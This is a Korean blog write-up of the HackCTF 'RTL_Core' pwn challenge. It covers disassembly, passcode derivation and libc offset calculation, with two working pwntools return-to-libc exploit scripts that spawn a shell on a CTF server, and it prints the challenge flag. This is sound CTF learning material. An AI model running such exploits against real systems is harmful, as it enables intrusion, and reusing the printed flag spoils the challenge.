c++문제들을 못 풀고.. Random Key는 맞게 푼 것 같은데 Nah.. 만 나올 뿐입니다 ㅠㅠㅠ
그냥 방황하다가 RTL_Core 문제를 풀었습니다.. 아직 초보에게는 갈길이 멀군요 ㅠㅠ
RTL(Return to libc)는 RET주소에 공유 라이브러리의 함수 주소를 덮어써서 해당 함수를 호출하는 방법입니다.
더 자세한 내용들은 잘 설명된 사이트들의 링크로 올려두겠습니다!
일단 main을 까보자!
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x08048685 <+0>: lea ecx,[esp+0x4]
0x08048689 <+4>: and esp,0xfffffff0
0x0804868c <+7>: push DWORD PTR [ecx-0x4]
0x0804868f <+10>: push ebp
0x08048690 <+11>: mov ebp,esp
0x08048692 <+13>: push ecx
0x08048693 <+14>: sub esp,0x24
0x08048696 <+17>: mov eax,ds:0x804a034
0x0804869b <+22>: push 0x0
0x0804869d <+24>: push 0x2
0x0804869f <+26>: push 0x0
0x080486a1 <+28>: push eax
0x080486a2 <+29>: call 0x80484b0 <setvbuf@plt>
0x080486a7 <+34>: add esp,0x10
0x080486aa <+37>: sub esp,0xc
0x080486ad <+40>: push 0x80487e8
0x080486b2 <+45>: call 0x8048480 <puts@plt>
0x080486b7 <+50>: add esp,0x10
0x080486ba <+53>: sub esp,0xc
0x080486bd <+56>: push 0x8048835
0x080486c2 <+61>: call 0x8048460 <printf@plt>
0x080486c7 <+66>: add esp,0x10
0x080486ca <+69>: sub esp,0xc
0x080486cd <+72>: lea eax,[ebp-0x1c]
0x080486d0 <+75>: push eax
0x080486d1 <+76>: call 0x8048470 <gets@plt>
0x080486d6 <+81>: add esp,0x10
0x080486d9 <+84>: sub esp,0xc
0x080486dc <+87>: lea eax,[ebp-0x1c]
0x080486df <+90>: push eax
0x080486e0 <+91>: call 0x80485cb <check_passcode>
0x080486e5 <+96>: add esp,0x10
0x080486e8 <+99>: mov edx,eax
0x080486ea <+101>: mov eax,ds:0x804a030
0x080486ef <+106>: cmp edx,eax
0x080486f1 <+108>: jne 0x804870a <main+133>
0x080486f3 <+110>: sub esp,0xc
0x080486f6 <+113>: push 0x8048840
0x080486fb <+118>: call 0x8048480 <puts@plt>
0x08048700 <+123>: add esp,0x10
0x08048703 <+126>: call 0x804860a <core>
0x08048708 <+131>: jmp 0x804871a <main+149>
0x0804870a <+133>: sub esp,0xc
0x0804870d <+136>: push 0x8048881
0x08048712 <+141>: call 0x8048480 <puts@plt>
0x08048717 <+146>: add esp,0x10
0x0804871a <+149>: mov eax,0x0
0x0804871f <+154>: mov ecx,DWORD PTR [ebp-0x4]
0x08048722 <+157>: leave
0x08048723 <+158>: lea esp,[ecx-0x4]
0x08048726 <+161>: ret
End of assembler dump.
출력문이 두 개 있고 gets()를 사용하는 것이 눈에 띄고 있습니다.
gets의 경우 (ebp - 0x1c)에다가 입력을 받고 있습니다. check_passcode는 입력받은 (ebp - 0x1c)를 인자로 넣어준 후 결괏값과 0x804a030의 값과 비교하고 있습니다. 0x8048a030을 찾아보겠습니다.
gdb-peda$ x/wx 0x804a030
0x804a030 <hashcode>: 0xc0d9b0a7
gdb-peda$ x/s 0x8048840
0x8048840: "코드가 일치하구나. 좋아, 다음 단서를 던져주지"
gdb-peda$ x/s 0x8048881
0x8048881: "실패!"
0xc0d9b0a7과 비교 후에 같아야 합니다.
그렇다면 check_passcode는 어떤 일을 하는지 확인해보겠습니다.
gdb-peda$ pdisas check_passcode
Dump of assembler code for function check_passcode:
0x080485cb <+0>: push ebp
0x080485cc <+1>: mov ebp,esp
0x080485ce <+3>: sub esp,0x10
0x080485d1 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x080485d4 <+9>: mov DWORD PTR [ebp-0xc],eax
0x080485d7 <+12>: mov DWORD PTR [ebp-0x8],0x0
0x080485de <+19>: mov DWORD PTR [ebp-0x4],0x0
0x080485e5 <+26>: jmp 0x80485ff <check_passcode+52>
0x080485e7 <+28>: mov eax,DWORD PTR [ebp-0x4]
0x080485ea <+31>: lea edx,[eax*4+0x0]
0x080485f1 <+38>: mov eax,DWORD PTR [ebp-0xc]
0x080485f4 <+41>: add eax,edx
0x080485f6 <+43>: mov eax,DWORD PTR [eax]
0x080485f8 <+45>: add DWORD PTR [ebp-0x8],eax
0x080485fb <+48>: add DWORD PTR [ebp-0x4],0x1
0x080485ff <+52>: cmp DWORD PTR [ebp-0x4],0x4
0x08048603 <+56>: jle 0x80485e7 <check_passcode+28>
0x08048605 <+58>: mov eax,DWORD PTR [ebp-0x8]
0x08048608 <+61>: leave
0x08048609 <+62>: ret
End of assembler dump.
우리가 입력해준 값의 위치를 인자로 넣어주었는데, 그 주소를 4바이트씩 증가시키면서 계속 더하고 그 결과를 return 해줍니다.
저는 사실 여기서 다르게 생각했다가 일일이 돌려보고 알아챘습니다..!
저만 이해 못했을 거 같지만 간단하게 설명하자면
(ebp-0x0c) AAAA
(ebp-0x10) AAAA
(ebp-0x14) AAAA
(ebp-0x18) AAAA
(ebp-0x1c) AAAA
와 같이 입력을 주었다고 합시다! 맨 밑의 층이 main의 (ebp - 0x1c)라고 합시다. 즉, gets()로 입력받아서 저 위치에서부터 채워졌을 때 check_passcode는 -0x1c, -0x18, 0x14 ... 순서대로 안에 있는 값을 꺼내와서 더해서 return 해줍니다. 따라서 여기서는 0x41414141 + 0x41414141 + 0x41414141 + 0x41414141 + 0x41414141의 결과를 주는 것입니다.
그렇기 때문에 입력 때 0xc0d9b0a7을 5로 나눈 값들을 하나씩 집어넣어주고 마지막 꺼에는 나머지까지 더해서 넣어주면 되겠죠?
5로 나누고 나머지를 마지막에 더한 값은 각각 "0x2691f021"과 "0x2691f023"입니다.
여기까지는 쉬웠는데... 마지막에 0x64를 그냥 64바이트로 알고.. 또 잘 기억 안 나던 명령어들 때문에.... 너무 시간을 오래 걸렸네요..
여기까지 왔으면 main에서 equal 할 때의 출력문이 나오고 core가 실행됩니다.
그럼 이제 core를 봐야겠죠..?
gdb-peda$ pdisas core
Dump of assembler code for function core:
0x0804860a <+0>: push ebp
0x0804860b <+1>: mov ebp,esp
0x0804860d <+3>: push edi
0x0804860e <+4>: push ebx
0x0804860f <+5>: sub esp,0x40
0x08048612 <+8>: mov DWORD PTR [ebp-0x3e],0x0
0x08048619 <+15>: lea eax,[ebp-0x3a]
0x0804861c <+18>: mov ecx,0x2e
0x08048621 <+23>: mov ebx,0x0
0x08048626 <+28>: mov DWORD PTR [eax],ebx
0x08048628 <+30>: mov DWORD PTR [eax+ecx*1-0x4],ebx
0x0804862c <+34>: lea edx,[eax+0x4]
0x0804862f <+37>: and edx,0xfffffffc
0x08048632 <+40>: sub eax,edx
0x08048634 <+42>: add ecx,eax
0x08048636 <+44>: and ecx,0xfffffffc
0x08048639 <+47>: shr ecx,0x2
0x0804863c <+50>: mov edi,edx
0x0804863e <+52>: mov eax,ebx
0x08048640 <+54>: rep stos DWORD PTR es:[edi],eax
0x08048642 <+56>: sub esp,0x8
0x08048645 <+59>: push 0x80487b0
0x0804864a <+64>: push 0xffffffff
0x0804864c <+66>: call 0x80484a0 <dlsym@plt>
0x08048651 <+71>: add esp,0x10
0x08048654 <+74>: mov DWORD PTR [ebp-0xc],eax
0x08048657 <+77>: sub esp,0x8
0x0804865a <+80>: push DWORD PTR [ebp-0xc]
0x0804865d <+83>: push 0x80487b8
0x08048662 <+88>: call 0x8048460 <printf@plt>
0x08048667 <+93>: add esp,0x10
0x0804866a <+96>: sub esp,0x4
0x0804866d <+99>: push 0x64
0x0804866f <+101>: lea eax,[ebp-0x3e]
0x08048672 <+104>: push eax
0x08048673 <+105>: push 0x0
0x08048675 <+107>: call 0x8048450 <read@plt>
0x0804867a <+112>: add esp,0x10
0x0804867d <+115>: nop
0x0804867e <+116>: lea esp,[ebp-0x8]
0x08048681 <+119>: pop ebx
0x08048682 <+120>: pop edi
0x08048683 <+121>: pop ebp
0x08048684 <+122>: ret
End of assembler dump.
길지만 잘 보면, printf의 동적 링크된 후의 주소를 알려줍니다. 이게 단서입니다. 그렇다면 여기서 우리는 offset을 이용해서 system의 위치를 찾아서 호출할 수 있고, "/bin/sh"의 위치도 알아낼 수 있습니다.
gdb-peda$ p printf
$1 = {<text variable, no debug info>} 0xf7e262d0 <printf>
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0xf7e12200 <system>
gdb-peda$ p printf-system
$3 = 0x140d0
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f530cf ("/bin/sh")
gdb-peda$ p 0xf7f530cf-0xf7e262d0
$4 = 0x12cdff
각각의 오프셋을 구했습니다.
그렇다면 익스플로잇을 바로 짜도록 하겠습니다.
여기서 주소가 system보다는 printf가 크고 printf보다는 "/bin/sh"가 크기 때문에 offset을 +, - 어떤 것을 할지 잘 봐야합니다.
from pwn import *
payload1 = "\x21\xf0\x91\x26" * 4
payload1 += "\x23\xf0\x91\x26"
payload2 = "A"*66
printf_system_offset = 0x140d0
printf_binsh_offset = 0x12cdff
p = process("./rtlcore")
p.recvuntil("Passcode: ")
p.sendline(payload1)
p.recvuntil("0x")
printf = p.recv(8)
printf = "0x" + printf
system = int(printf, 16) - printf_system_offset
binsh = int(printf, 16) + printf_binsh_offset
payload2 += p32(system)
payload2 += "A"*4
payload2 += p32(binsh)
p.recvline()
p.sendline(payload2)
p.interactive()
p.close()
실행하면 정상적으로 쉘이 획득되는 것을 확인할 수 있습니다.
[+] Starting local process './rtlcore': pid 7012
[*] Switching to interactive mode
$ ls -l
합계 1756
-rw-rw-r-- 1 min min 523 9월 3 22:38 ex.py
-rw-rw-r-- 1 min min 648 9월 3 22:35 ex2.py
-rw-rw-r-- 1 min min 1775464 4월 14 22:05 libc.so.6
-rw-r--r-- 1 min min 26 9월 3 22:33 peda-session-rtlcore.txt
-rwxr--r-- 1 min min 7648 11월 10 2018 rtlcore
그런데 remote('ctf.j0n9hyun.xyz', 3015)로 접속을 시도하니 쉘을 획득하지 못합니다.
[+] Opening connection to ctf.j0n9hyun.xyz on port 3015: Done
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to ctf.j0n9hyun.xyz port 3015
[*] Got EOF while sending in interactive
여기서도 엄청 헤매었었는데, 예전에 write up들 보다가 실행하면서 라이브러리 주소를 얻어오는 것을 봤었습니다.
그래서 구글링 열심히 해서 찾아서 사용해봤더니 됐습니다......
참고했던 사이트들은 모두 아래에 <참고>에 올려두겠습니다.
그렇게 새롭게 짠 익스플로잇 코드는 다음과 같습니다.
from pwn import *
elf = ELF('./libc.so.6')
p = remote('ctf.j0n9hyun.xyz', 3015)
printf_system_offset = elf.symbols['printf'] - elf.symbols['system']
printf_binsh_offset = list(elf.search('/bin/sh'))[0] - elf.symbols['printf']
payload1 = "\x21\xf0\x91\x26"*4
payload1 += "\x23\xf0\x91\x26"
payload2 = "A"*66
p.recvuntil("Passcode: ")
p.sendline(payload1)
p.recvuntil("0x")
printf = "0x" + p.recv(8)
system_addr = int(printf, 16) - printf_system_offset
binsh_addr = int(printf, 16) + printf_binsh_offset
payload2 += p32(system_addr)
payload2 += "A"*4
payload2 += p32(binsh_addr)
p.recvline()
p.sendline(payload2)
p.interactive()
p.close()
여기서는 RTL_Core문제에서 같이 준 'libc.so.6'파일을 이용해서 ELF로 라이브러리를 등록해서 symbols로 주소를 얻어오고, search를 통해서 모든 "/bin/sh" 중 가장 첫 번째를 사용하는 것입니다.
이렇게 하면 서버에서 사용하는 것과 같은 라이브러리 libc.so.6을 통해서 서버와 같은 오프셋을 얻어낼 수 있는 것입니다.
[*] '/home/min/\xeb\xb0\x94\xed\x83\x95\xed\x99\x94\xeb\xa9\xb4/BOF/RTLcore/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to ctf.j0n9hyun.xyz on port 3015: Done
[*] Switching to interactive mode
$ ls -l
total 12
-r--rw---- 1 attack root 40 Nov 10 2018 flag
-r-xrwx--x 1 attack root 7648 Nov 10 2018 main
$ cat flag
HackCTF{5ucc355ful_r7lc0r3_f1l3_4cc355}
중간에 뻘짓들도 많이 하고... 돌아 돌아서 겨우 찾아왔네요 ㅠㅠㅠㅠ
이제 개강이라 많이 못할 것 같은데 학교 수업하면서 어렵거나 헷갈리는 것들을 올려야겠습니다.
<참고>
https://crattack.tistory.com/entry/%ED%95%A8%EC%88%98-offset-%EA%B3%84%EC%82%B0-%EB%B0%A9%EB%B2%95
https://nroses-taek.tistory.com/188
https://baobob1024.tistory.com/m/119
잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다